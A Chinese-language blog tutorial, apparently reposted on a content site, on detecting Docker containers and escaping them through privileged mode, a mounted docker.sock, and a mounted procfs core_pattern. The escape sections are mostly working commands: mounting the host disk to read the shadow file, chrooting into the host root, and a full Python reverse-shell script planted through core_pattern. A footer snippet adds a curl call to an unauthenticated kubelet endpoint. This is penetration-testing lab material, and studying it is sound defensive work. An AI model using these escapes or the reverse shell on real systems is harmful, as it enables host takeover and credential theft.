云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载

这篇具有很好参考价值的文章主要介绍了云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

1、Docker是干嘛的?

Docker 是一个开放源代码软件,是一个开放平台,用于开发应用、交付(shipping)应用、运行应用。Docker允许用户将基础设施(Infrastructure)中的应用单独分割出来,形成更小的颗粒(容器),从而提高交付软件的速度。
Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。

2、Docker对于渗透测试影响?

3、Docker渗透测试点有那些?

云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全

4、前渗透-判断在Docker中

没有权限:端口扫描详细信息,根据应用对象表现
但是想通过端口扫描判断对方是不是docker服务几乎是不可能的(我没遇到……)

拿到权限:

方式一:查询cgroup信息

docker中:
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全真实主机上:
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全

方式二:检查/.dockerenv文件

通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境
docker中:
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全真实主机上:
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全
不过有一点需要注意的是,如果你获取的shell权限过小的话(www-data、或是某一服务的用户),根目录下也是不存在.dockerenv文件的
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全

方式三:检查mount信息

利用mount查看挂载磁盘是否存在docker相关信息。

docker中:
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全真实主机上:
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全

方式四:查看硬盘信息

fdisk -l 容器输出为空,非容器有内容输出。

docker中:
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全真实主机上:
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全

方式五:查看文件系统以及挂载点

df -h 检查文件系统挂载的目录,也能够简单判断是否为docker环境。

df -h | egrep '(overlay|aufs)'

docker中:
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全
真实主机上:
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全

参考:https://blog.csdn.net/qq_23936389/article/details/131467165

5、前渗透-镜像中的应用漏洞

正常web渗透测试

6、前渗透-镜像中的默认配置

7、后渗透-三种安全容器逃逸

-特权模式启动导致(不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸)
-危险挂载启动导致(危险启动 适用于java jsp高权限无需提权 还要提权才能逃逸)
-docker自身&系统漏洞(软件漏洞和系统漏洞 都可用)
https://wiki.teamssix.com/CloudNative/
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全

容器逃逸-特权模式

启动靶场:docker run --rm --privileged=true -it alpine
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全检测环境:cat /proc/1/cgroup | grep -qi docker && echo “Is Docker” || echo “Not Docker”
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全判断特权:cat /proc/self/status | grep CapEff
如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全
查看目录:fdisk -l
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全特权逃逸:mkdir /test && mount /dev/vda1 /test
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全判断结果:尝试访问宿主机 shadow 文件,可以看到正常访问
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全

容器逃逸-危险挂载

1、挂载Docker Socket逃逸

启动靶场:docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
进入环境:docker exec -it with_docker_sock /bin/bash
检测环境:ls -lah /var/run/docker.sock
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全挂载逃逸:
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
docker run -it -v /:/host ubuntu /bin/bash
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全chroot /host
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全

2、挂载宿主机procfs逃逸

启动环境:docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
检测环境:find / -name core_pattern
云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全找到当前容器在宿主机下的绝对路径

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全这就表示当前绝对路径为

/var/lib/docker/overlay2/5c86feb33aba7c5fc559bee1a7b47b1f8004e1f6f20db4b97d8efbfa4cc33a19/merged

创建一个反弹 Shell 的 py 脚本

cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = xxxx
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()
EOF

给 Shell 赋予执行权限

chmod 777 .x.py

写入反弹 shell 到目标的 proc 目录下

echo -e "|/var/lib/docker/overlay2/ad9b33531057ae1736388c0198e80e49de165b12d9d16bd81fd44022cff0e72f/merged/tmp/.x.py \rcore    " >  /host/proc/sys/kernel/core_pattern

在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序

cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
EOF
gcc x.c -o t
./t

云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全不过我这里尝试了好几次都没有成功……

模拟真实场景:
1、高权限-Web入口到Docker逃逸(Java)

docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721

云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载,Cyber-Security,云原生,docker,安全2、低权限-Web入口到Docker逃逸(PHP)

docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa

java大部分都是高权限,php需提权……文章来源地址https://www.toymoban.com/news/detail-723073.html

到了这里,关于云上攻防-云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 云上攻防-云原生篇&;Kubernetes&;K8s安全&;API&;Kubelet未授权访问&;容器执行

    curl -XPOST -k “https://192.168.139.132:10250/run///” -d “cmd=id” 执行的命令是test03容器里的命令,需要进行容器逃逸。 1、攻击8080端口:API Server(Master)未授权访问 旧版本的k8s的API Server默认会开启两个端口:8080和6443。 6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,

    2024年04月22日
    浏览(73)
  • 云安全攻防(三)之 面向云原生环境的安全体系

    根据云原生环境的构成,面向云原生环境的安全体系可包含三个层面的安全体制,它们分别是容器安全、编排系统安全和云原生应用安全,下面,我们逐步来讲解这三点: 容器环境,又或者是叫容器云,其本质是云计算的一种实现方式,我们可以将其称之为PaaS或者CaaS。容器

    2024年02月15日
    浏览(37)
  • docker环境javacv运行时环境检测到致命错误:SIGSEGV(0xb)

    分析JVM致命错误日志hs_err_pid.log 当jvm出现致命错误时,会生成一个错误文件 hs_err_pidpid.log,其中包括了导致jvm crash的重要信息,可以通过分析该文件定位到导致crash的根源,从而改善以保证系统稳定。当出现crash时,该文件默认会生成到工作目录下,然而可以通过jvm参数指定

    2024年02月03日
    浏览(45)
  • 云原生安全:如何保护云上应用不受攻击

    🎉欢迎来到云计算技术应用专栏~云原生安全:如何保护云上应用不受攻击 ☆* o(≧▽≦)o *☆嗨~我是IT·陈寒🍹 ✨博客主页:IT·陈寒的博客 🎈该系列文章专栏:云计算技术应用 📜其他专栏:Java学习路线 Java面试技巧 Java实战项目 AIGC人工智能 数据结构学习 云计算技术应用

    2024年02月04日
    浏览(43)
  • 更安全的验证码=AIGC+集成环境信息检测!

    黑灰产经常采用批量撞库方式登录用户账号,然后进行违法违规操作。 黑灰产将各种方式窃取账号密码导入批量登录软件,登录软件自动尝试账号登录。邮箱服务器检测到异常登录请求,会下发验证码进行安全验证,但是黑灰产能够自动破解简单验证码,完成撞库登录过程。

    2024年02月14日
    浏览(43)
  • 验证码安全志:AIGC+集成环境信息信息检测

    目录 知己知彼,黑灰产破解验证码的过程 AIGC加持,防范黑灰产的破解 魔高一丈,黑灰产+AIGC突破常规验证码 双重防护,保障验证码安全 黑灰产经常采用批量撞库方式登录用户账号,然后进行违法违规操作。 黑灰产将各种方式窃取账号密码导入批量登录软件,登录软件自动

    2024年02月14日
    浏览(38)
  • 目标检测——工业安全生产环境违规使用手机的识别

    一、重要性及意义 首先,工业安全生产环境涉及到许多复杂的工艺和设备,这些设备和工艺往往需要高精度的操作和严格的监管。如果员工在生产过程中违规使用手机,不仅可能分散其注意力,降低工作效率,更可能因操作失误导致设备故障或生产事故,从而对员工的生命安

    2024年04月13日
    浏览(53)
  • 《云原生安全攻防》-- 云原生应用风险分析

    为了满足每位朋友的学习需求,并且支持课程的持续更新,本系列课程提供了免费版和付费视频版两种方式来提供课程内容。我们会持续更新课程内容,以确保内容的度和实用性。 在本节课程中,我们将一起探讨云原生应用在新的架构模式下可能存在的应用安全风险。包括以

    2024年04月08日
    浏览(35)
  • docker 配置 gpu版pytorch环境--部署缺陷检测--Anomalib

    自行查看:三者对应版本信息 直接在 docker.hub 中拉取 pytorch 镜像:​​​​​​​找到自己所需要的环境 pytorch镜像 点击复制 devel 版链接 Anomalib github 地址 我们需要docker容器中运行Anomalib,所以需要把主机文件挂载到容器中 主机路径: /home/dell/ljn/anomalib 没有加这一行 --shm

    2024年02月07日
    浏览(37)
  • 【Docker】云原生利用Docker确保环境安全、部署的安全性、安全问题的主要表现和新兴技术产生

    前言 Docker 是一个 开源的应用容器引擎 ,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux或Windows 操作系统的机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口。   Docker十分火热,很多人表示很少见如

    2024年02月11日
    浏览(50)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包